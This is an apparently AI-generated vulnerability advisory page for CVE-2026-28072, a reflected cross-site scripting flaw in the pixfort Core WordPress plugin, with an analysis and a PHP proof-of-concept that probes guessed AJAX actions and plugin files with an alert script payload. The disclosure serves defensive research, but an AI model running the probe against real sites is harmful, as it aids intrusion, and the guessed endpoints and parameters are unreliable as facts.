Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-28072: pixfort Core <= 3.2.22 – Reflected Cross-Site Scripting (pixfort-core)

Plugin pixfort-core
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 3.2.22
Patched Version
Disclosed March 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28072 (metadata-based):

The vulnerability is a reflected cross-site scripting (XSS) flaw in the pixfort Core WordPress plugin. The CWE-79 classification confirms improper neutralization of input during web page generation. The plugin fails to sanitize user input and escape output before rendering it in HTML pages. This allows unauthenticated attackers to inject arbitrary JavaScript via crafted requests.

Atomic Edge research infers the attack vector involves a WordPress AJAX handler or a direct PHP file endpoint. The plugin slug ‘pixfort-core’ suggests AJAX actions likely use the ‘pixfort_core’ prefix. Attackers can exploit this by tricking authenticated users, including administrators, into clicking malicious links. The payload executes in the victim’s browser context, enabling session hijacking, content modification, or administrative actions.

The CVSS vector indicates network attack scope, low attack complexity, no privileges required, and user interaction. The changed scope (S:C) means the vulnerability affects components beyond the vulnerable plugin. The fix in version 3.2.26 likely adds proper input validation using WordPress sanitization functions like `sanitize_text_field()` and output escaping with `esc_html()` or `wp_kses()`. The patch should also implement proper capability checks and nonce verification where applicable.

Exploitation impact includes stealing WordPress session cookies, performing actions as the victim, and defacing site content. The vulnerability requires user interaction but poses significant risk due to WordPress’s widespread use and the plugin’s functionality.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28072 - pixfort Core <= 3.2.22 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-28072
 * This script demonstrates reflected XSS in pixfort Core plugin <= 3.2.22
 * Assumptions based on WordPress plugin patterns:
 * 1. Vulnerability exists in an AJAX handler or direct PHP endpoint
 * 2. The 'action' parameter uses 'pixfort_core' prefix
 * 3. A specific parameter lacks proper sanitization
 * 4. No authentication or nonce required (unauthenticated)
 */

$target_url = 'https://vulnerable-site.com';

// Common WordPress AJAX endpoint for plugin actions
$ajax_endpoint = '/wp-admin/admin-ajax.php';

// Likely vulnerable action name based on plugin slug
$action = 'pixfort_core_vulnerable_action';

// Alternative action pattern
$action_alt = 'pixfort_core_get_content';

// XSS payload that triggers alert with domain name
$payload = rawurlencode('<script>alert(document.domain)</script>');

// Test multiple potential vulnerable parameters
$parameters = [
    'id' => $payload,
    'content' => $payload,
    'data' => $payload,
    'url' => $payload,
    'param' => $payload
];

echo "Atomic Edge CVE-2026-28072 PoCn";
echo "Target: $target_urlnn";

// Test each parameter with both action names
foreach ([$action, $action_alt] as $action_name) {
    foreach ($parameters as $param_name => $param_value) {
        $url = $target_url . $ajax_endpoint . '?action=' . $action_name . '&' . $param_name . '=' . $param_value;
        
        echo "Testing: $urln";
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        curl_close($ch);
        
        // Check if payload appears unsanitized in response
        if (strpos($response, '<script>alert(document.domain)</script>') !== false) {
            echo "[VULNERABLE] Payload reflected in response for action=$action_name, param=$param_namen";
            echo "Craft this URL for victim: $urlnn";
        } else if ($http_code == 200) {
            echo "[TESTED] Action endpoint exists but payload may be sanitizedn";
        }
    }
}

// Also test direct plugin file access (common pattern)
$plugin_files = [
    '/wp-content/plugins/pixfort-core/includes/ajax-handler.php',
    '/wp-content/plugins/pixfort-core/core/functions.php',
    '/wp-content/plugins/pixfort-core/pixfort-core.php'
];

foreach ($plugin_files as $file) {
    foreach ($parameters as $param_name => $param_value) {
        $url = $target_url . $file . '?' . $param_name . '=' . $param_value;
        
        echo "Testing direct file: $urln";
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        curl_close($ch);
        
        if ($http_code == 200 && strpos($response, '<script>alert(document.domain)</script>') !== false) {
            echo "[VULNERABLE] Direct file access with reflected XSS: $urln";
        }
    }
}

echo "nPoC complete. Successful exploitation requires victim to visit crafted URL.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School